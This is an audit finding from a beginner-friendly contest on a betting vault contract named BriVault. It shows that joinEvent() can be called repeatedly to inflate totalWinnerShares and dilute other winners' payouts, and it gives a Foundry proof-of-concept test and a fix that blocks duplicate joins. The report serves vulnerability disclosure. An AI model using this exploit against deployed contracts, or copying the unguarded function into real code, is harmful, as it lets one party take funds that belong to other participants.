BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

joinEvent() Can Be Called Multiple Times, Inflating totalWinnerShares

calvinkimani

Root + Impact

Description

The missing duplicate prevention check in BriVault.sol::joinEvent() will cause a loss of winnings for all legitimate winners as an attacker will repeatedly call joinEvent() with the same bet to inflate totalWinnerShares, diluting everyone's payouts.

In BriVault.sol:242-269, the joinEvent() function lacks a check to prevent users from calling it multiple times.

The function:

  1. Allows duplicate entries in the usersAddress[] array (line 263: usersAddress.push(msg.sender))

  2. Increments numberOfParticipants on every call (line 265)

  3. Accumulates totalParticipantShares repeatedly (line 266)

  4. Overwrites userToCountry and userSharesToCountry mappings on each call

This causes _getWinnerShares() (lines 191-198) to count the same user's shares multiple times when calculating totalWinnerShares:

function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Counts duplicates!
}
return totalWinnerShares;
}

Risk

Likelihood:

  1. Owner needs to call setCountry() to initialize the teams array

  2. Event must not have started yet (block.timestamp < eventStartDate)

  3. Attacker needs to have deposited at least minimumAmount + participationFee worth of assets

Impact:

All legitimate winners suffer an approximate loss proportional to the inflation factor. With 100 duplicate joinEvent() calls by an attacker with equal shares to victims:

  • If attacker and victim both have 10,000 shares (50/50 split expected)

  • totalWinnerShares becomes: 10,000 (victim) + 10,000×100 (attacker counted 100 times) = 1,010,000

  • Victim receives: (10,000 / 1,010,000) × vault = ~0.99% instead of 50%

  • Victim loses ~49% of the vault balance

Proof of Concept

Attacker calls joinEvent() 100 times to inflate totalWinnerShares by 100x. This reduces all winners' payouts proportionally without attacker cost

function test_InflatedShares_MultipleJoinCalls() public {
// Victim deposits and joins normally (once)
vm.startPrank(victim);
token.approve(address(vault), 10 ether);
vault.deposit(10 ether, victim);
vault.joinEvent(0); // Bet on Brazil
uint256 victimShares = vault.balanceOf(victim);
vm.stopPrank();
​
// Attacker deposits same amount but joins 100 times
vm.startPrank(attacker);
token.approve(address(vault), 10 ether);
vault.deposit(10 ether, attacker);
uint256 attackerShares = vault.balanceOf(attacker);
​
// Call joinEvent() 100 times for same team
for (uint256 i = 0; i < 100; i++) {
vault.joinEvent(0); // Join Brazil 100 times
}
vm.stopPrank();
​
// Fast forward to after event
vm.warp(eventEndDate + 1);
​
// Owner sets Brazil as winner
vm.prank(owner);
vault.setWinner(0);
​
uint256 totalWinnerShares = vault.totalWinnerShares();
uint256 actualTotalShares = victimShares + attackerShares;
​
// Calculate impact on payouts
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 victimActualPayout = (victimShares * vaultBalance) / totalWinnerShares;
uint256 victimExpectedPayout = (victimShares * vaultBalance) / actualTotalShares;
​
// Assertions
assertTrue(totalWinnerShares > actualTotalShares, "totalWinnerShares should be inflated");
assertTrue(victimActualPayout < victimExpectedPayout, "Victim should receive reduced payout");
assertEq(vault.numberOfParticipants(), 101, "Should have 101 duplicate entries");
​
// Verify victim can withdraw reduced amount
uint256 victimBalanceBefore = token.balanceOf(victim);
vm.prank(victim);
vault.withdraw();
uint256 victimBalanceAfter = token.balanceOf(victim);
uint256 victimReceived = victimBalanceAfter - victimBalanceBefore;
​
assertEq(victimReceived, victimActualPayout, "Victim received reduced payout");
assertTrue(victimReceived < victimExpectedPayout, "Victim lost funds due to inflated shares");
}

Recommended Mitigation

Add a check in joinEvent() to prevent duplicate joins:

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
​
+ // Prevent duplicate joins
+ if (bytes(userToCountry[msg.sender]).length != 0) {
+ revert AlreadyJoined();
+ }
​
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
​
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
​
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!